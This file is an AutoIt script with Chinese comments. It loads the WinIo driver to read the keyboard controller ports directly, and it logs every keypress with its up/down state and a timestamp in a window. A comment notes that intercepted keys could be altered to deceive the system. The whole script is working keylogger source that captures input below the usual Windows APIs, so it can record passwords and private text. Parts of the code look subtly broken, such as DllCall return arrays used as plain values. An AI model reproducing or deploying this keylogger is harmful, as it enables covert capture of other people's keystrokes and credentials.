#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#Include <Date.au3>
Global Const $VK_CAPITAL = 0x14
Global Const $VK_NUMLOCK = 0x90
Global Const $VK_SHIFT = 0x10
Global Const $GWL_WNDPROC = -4
;Global Const $WM_KEYDOWN = 0x100
;Global Const $WM_CHAR = 0x102
;Msgbox(64,$WM_KEYDOWN,$WM_CHAR)
Global $WM_HXWDLLWX_QQBTX ;自定义消息
Global $WM_HXWDLLWX_HOOKKEY
Global $PrevWndProc ;保存旧的窗口处理函数地址
Global $DX
Global $DI
Global $DI_Keyboard
Global $key_state
Global $DataKeyCacheDX , $DataKeyCacheDXMore
Global $DataKeyCacheWINIO , $DataKeyCacheWINIOMore
Global $DataKeyCacheIME
Global $DataKeyCacheChar
Global $KeyboardIOCommand
$Form1 = GUICreate("Form1", 565, 372, 192, 124)
$Label1 = GUICtrlCreateLabel("DX", 40, 40, 19, 17)
$Edit1 = GUICtrlCreateEdit("", 120, 16, 425, 73)
GUICtrlSetData(-1, "")
$Edit2 = GUICtrlCreateEdit("", 120, 104, 425, 73)
GUICtrlSetData(-1, "")
$Label2 = GUICtrlCreateLabel("驱动级", 40, 128, 40, 17)
$Edit3 = GUICtrlCreateEdit("", 120, 192, 425, 73)
GUICtrlSetData(-1, "")
$Label3 = GUICtrlCreateLabel("汉字", 40, 216, 28, 17)
$Edit4 = GUICtrlCreateEdit("", 120, 280, 425, 73)
GUICtrlSetData(-1, "")
$Label4 = GUICtrlCreateLabel("所有", 40, 296, 28, 17)
GUISetState(@SW_SHOW)
Global $dll_WinIO=DllOpen ( "WinIo.dll" )
Global $dll_user32=DllOpen ( "user32.dll" )
Msgbox(64,"Dll1Open",$dll_WinIO)
$initdll1=DllCall ( $dll_WinIO, "BOOLEAN", "InitializeWinIo" )
If $initdll1=False Then
Msgbox(64,"错误","WinIO驱动无法加载!")
Else
Msgbox(64,"成功","WinIO驱动加载成功!返回值:"&$initdll1&";error:"&@error )
EndIf
_CloseKeyboardINT() ;关中断
While 1
_GetKeyStatType() ;键盘记录
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
_myExit()
EndSwitch
WEnd
Func _myExit()
_OpenKeyboardINT() ;开中断
;DLLsetHOOKState False '关闭输入法HOOK
;DLLstopHOOK '卸载输入法HOOK
;Call SetWindowLong(Me.hWnd, GWL_WNDPROC, PrevWndProc) '还原子类化窗口
;DI_Keyboard.Unacquire '释放DirectInput对象
;Set DI_Keyboard = Nothing
;Set DI = Nothing
;Set DX = Nothing
DllCall ( $dll_WinIO, "BOOLEAN", "ShutdownWinIo" )
Exit
EndFunc
Func _GetKeyStatType()
Global $lastKey
Dim $mydata, $myKBC
Dim $vKeyCode , $vKeyASC , $key_count
$myKBC = _MyINP(0x64) ;读取键盘控制端口
If BitAND ($myKBC , 0x1) Then
$mydata = _MyINP(0x60) ;从缓冲区取走数据。这时取走的肯定是键盘数据,不会包含鼠标数据,因为鼠标数据会被鼠标中断第一时间取走。
$myKBC = _MyINP(0x64) ;读取键盘控制端口
If $myKBC = 20 OR $myKBC = 28 Then
If $mydata <> $lastKey And $mydata <> 0 Then
$key_count = BitAND ($mydata , 127) ;总是将断码变为通码
$vKeyCode = DllCall ( $dll_user32, "UINT", "MapVirtualKey" ,"UINT",$key_count,"UINT" ,1) ;扫描码转虚拟码
If $vKeyCode <> 0 Then
$vKeyASC = Chr(DllCall ( $dll_user32, "UINT", "MapVirtualKey" ,"UINT",$vKeyCode,"UINT" ,2)) ;虚拟码转换为ASCII字符
If $vKeyASC <> Chr(0) Then
If Mod (DllCall ( $dll_user32, "short", "GetKeyState" ,"int",$VK_CAPITAL) , 0xFF80 ) = 1 Then
$vKeyASC = StringUpper($vKeyASC) ;根据大小写锁定键判断大小写
Else
$vKeyASC = StringLower($vKeyASC)
EndIf
If $vKeyASC = " " Then $vKeyASC = "【空格】"
Else
$vKeyASC = "【" & String($vKeyCode) & "】" ;如果是不能显示的键,则直接显示虚拟码
EndIf
If BitAND ($mydata , 128) Then
$vKeyASC = $vKeyASC & "|" & "up"
Else
$vKeyASC = $vKeyASC & "|" & "down" ;记录是按下(down)还是弹起(up)
EndIf
$DataKeyCacheWINIO = $DataKeyCacheWINIO & $vKeyASC & " " ;存储按键,以空格为分隔符
$DataKeyCacheWINIOMore = $DataKeyCacheDXMore & _Now() & "|" ;存储按键时间信息,以|为分隔符
GUICtrlSetData ( $Edit2, GUICtrlRead ( $Edit2 )& $DataKeyCacheWINIO )
EndIf
EndIf
EndIf
$lastKey = $mydata
_OpenKeyboardINT() ;开中断
_KBCWait4IBF()
_MyOUT (0x64, 0xD2) ;将收到的数据复制到键盘输入缓冲区
_KBCWait4IBF()
_MyOUT (0x60, $mydata ) ;将收到的数据复制到键盘输入缓冲区,这里你完全可以修改这个数据,从而欺骗系统,比如将A键改成B键
Sleep (1) ;等待键盘中断处理
_KBCWait4IBF()
_CloseKeyboardINT() ;关键盘中断
EndIf
EndFunc
Func _CloseKeyboardINT() ;关闭键盘中断
Dim $tmpX
$tmpX = _MyINP(0x60) ;清空键盘的输入缓冲区
$tmpX = _MyINP(0x64)
EndFunc
Func _MyINP($PortAddr)
Dim $PortVal
DllCall ( $dll_WinIO, "BOOLEAN", "GetPortVal" ,"WORD",$PortAddr, "DWORD_PTR",$PortVal,"BYTE",1)
Return $PortVal
EndFunc
Func _OpenKeyboardINT() ;打开键盘中断
Dim $tmpX
$tmpX = _MyINP(0x60) ;清空键盘的输入缓冲区
$tmpX = _MyINP(0x64)
EndFunc
Func _MyOUT($PortAddr , $theData)
DllCall ( $dll_WinIO, "BOOLEAN", "SetPortVal" ,"WORD",$PortAddr, "DWORD_PTR",$theData,"BYTE",1)
EndFunc
Func _KBCWait4IBF() ;等待键盘输入缓冲区为空
Dim $dwVal
DllCall ( $dll_WinIO, "BOOLEAN", "GetPortVal" ,"WORD",0x64, "DWORD_PTR",$dwVal,"BYTE",1)
While NOT BitAND ($dwVal , 0x2)
DllCall ( $dll_WinIO, "BOOLEAN", "GetPortVal" ,"WORD",0x64, "DWORD_PTR",$dwVal,"BYTE",1)
WEnd
EndFunc
Func _KBCWait4OBF() ;等待键盘输出缓冲区为空
Dim $dwVal
DllCall ( $dll_WinIO, "BOOLEAN", "GetPortVal" ,"WORD",0x64, "DWORD_PTR",$dwVal,"BYTE",1)
While NOT BitAND($dwVal , 0x1)
DllCall ( $dll_WinIO, "BOOLEAN", "GetPortVal" ,"WORD",0x64, "DWORD_PTR",$dwVal,"BYTE",1)
WEnd
EndFunc
Func _KBCWait4IOF() ;等待键盘两个缓冲区都为空
Dim $dwVal
DllCall ( $dll_WinIO, "BOOLEAN", "GetPortVal" ,"WORD",0x64, "DWORD_PTR",$dwVal,"BYTE",1)
While NOT BitAND($dwVal , 0x3)
DllCall ( $dll_WinIO, "BOOLEAN", "GetPortVal" ,"WORD",0x64, "DWORD_PTR",$dwVal,"BYTE",1)
WEnd
EndFunc
Func _KBCWait4IBFFull() ;等待键盘输入缓冲区不为空
Dim $dwVal=0
While NOT BitAND($dwVal , 0x2)
DllCall ( $dll_WinIO, "BOOLEAN", "GetPortVal" ,"WORD",0x64, "DWORD_PTR",$dwVal,"BYTE",1)
WEnd
EndFunc